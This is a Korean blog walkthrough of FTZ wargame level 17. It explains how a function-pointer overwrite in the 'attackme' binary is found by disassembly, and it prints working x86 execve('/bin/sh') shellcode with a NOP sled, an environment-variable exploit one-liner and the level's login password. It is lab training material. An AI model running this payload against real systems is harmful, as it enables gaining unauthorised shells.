FTZ 17 Level
ID : level17
Passwd : king poetic
접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.
cat 명령으로 hint를 열어봅니다.
level16과는 다르게 쉘을 띄워주는 shell 함수는 없네요. 그럼 환경 변수에 쉘을 띄우는 코드를 넣어주고 call 함수 포인터에 환경 변수의 주소를 넣어주면 될 것 같습니다.
call 함수 포인터의 위치와 환경 변수의 주소를 찾아봅시다.
call 함수 포인터의 위치를 찾기 위해서 tmp로 복사하고 디스어셈블 해봅시다.
main+6의 코드를 보면 C언어의 void (*call)()=printit; 부분인 것 같습니다.
함수의 이름은 함수의 시작 주소를 가리키기 때문에 call 함수 포인터에는 printit 함수의 주소가 들어있습니다.
그럼 ebp-16은 call 함수 포인터의 위치가 될 것이고, fgets의 첫 번째 인자를 push하는 main+24 ~ main+27의 코드에서 buf의 주소는 ebp-56 이라는 것을 알 수 있습니다.
payload를 구성해보면 buf와 call 함수 포인터의 사이를 dummy 값으로 채우고 call 함수 포인터를 변조 해야하니, dummy(40 byte) + 셸코드가 있는 환경 변수의 주소. 이렇게 구성할 수 있습니다.
환경 변수에 셸코드를 등록하고 주소를 구해봅시다.
export SC=$(python –c print “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’)
많은 양의 NOP과 셸코드를 넣어줬습니다.
환경 변수의 주소를 구하는 코드를 짭시다.
컴파일하고 실행합니다.
주소를 구했습니다.
payload : (python –c ‘print “A”*40 + “\x53\xcc\xff\xbf"’; cat) | ./attackme
원본 파일에 공격해봅시다.
exploit!
감사합니다.
'System&Write up > FTZ' 카테고리의 다른 글
FTZ level19 -> level20 Write up (0) | 2017.09.27 |
---|---|
FTZ level18 -> level19 Write up (0) | 2017.09.27 |
FTZ level16 -> level17 Write up (0) | 2017.09.25 |
FTZ level15 -> level16 Write up (0) | 2017.09.25 |
FTZ level14 -> level15 Write up (0) | 2017.09.25 |